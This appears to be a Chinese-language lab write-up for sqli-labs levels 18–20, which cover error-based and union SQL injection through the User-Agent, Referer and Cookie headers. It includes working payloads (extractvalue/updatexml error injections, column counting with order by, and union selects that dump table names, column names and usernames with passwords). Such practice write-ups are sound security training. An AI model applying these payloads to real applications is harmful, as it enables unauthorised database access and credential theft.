sqli-lab————Writeup(18~20)各种头部注入

less18 基于错误的用户代理,头部POST注入

admin
admin
登入成功(进不去重置数据库)
显示如下
sqli-lab————Writeup(18~20)各种头部注入_第1张图片
有user agent参数,可能存在注入点
sqli-lab————Writeup(18~20)各种头部注入_第2张图片
显示版本号:
sqli-lab————Writeup(18~20)各种头部注入_第3张图片
爆库:User-Agent:'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
sqli-lab————Writeup(18~20)各种头部注入_第4张图片
库名:
sqli-lab————Writeup(18~20)各种头部注入_第5张图片

less19基于头部的RefererPOST报错注入

抓包
admin登陆什么也没有
在referer后加单引号有回显sql语法错误
然后就和 18一样了:Referer: 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
爆库:
sqli-lab————Writeup(18~20)各种头部注入_第6张图片

less20 基于错误的cookie头部POST注入

admin登陆:
sqli-lab————Writeup(18~20)各种头部注入_第7张图片
本关登录成功后用户名会存储在cookie中,且通过该参数执行SQL语句

登录成功之后会设置里面的cookie 当二次刷新的时候 这时候会重新从里面取值弄,并且这次取值没有经过过滤 直接就是注入点 还是使用updatexml的函数进行报错

方法一:
cookie注入:uname=admin' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) #sqli-lab————Writeup(18~20)各种头部注入_第8张图片

方法2:
cookie 后加单引号出现报错,说明cookie处存在注入点
sqli-lab————Writeup(18~20)各种头部注入_第9张图片

'order by 3 --+ 	  // 回显正常
'order by 4 --+	      // 回显错误
                      //说明行数有3个,即3个显示位

sqli-lab————Writeup(18~20)各种头部注入_第10张图片
爆库名:
sqli-lab————Writeup(18~20)各种头部注入_第11张图片
之后就是爆表:

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

爆字段:

union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

爆值:

union select 1,2,group_concat(username,0x3a,password) from users--+

你可能感兴趣的:(sql,安全)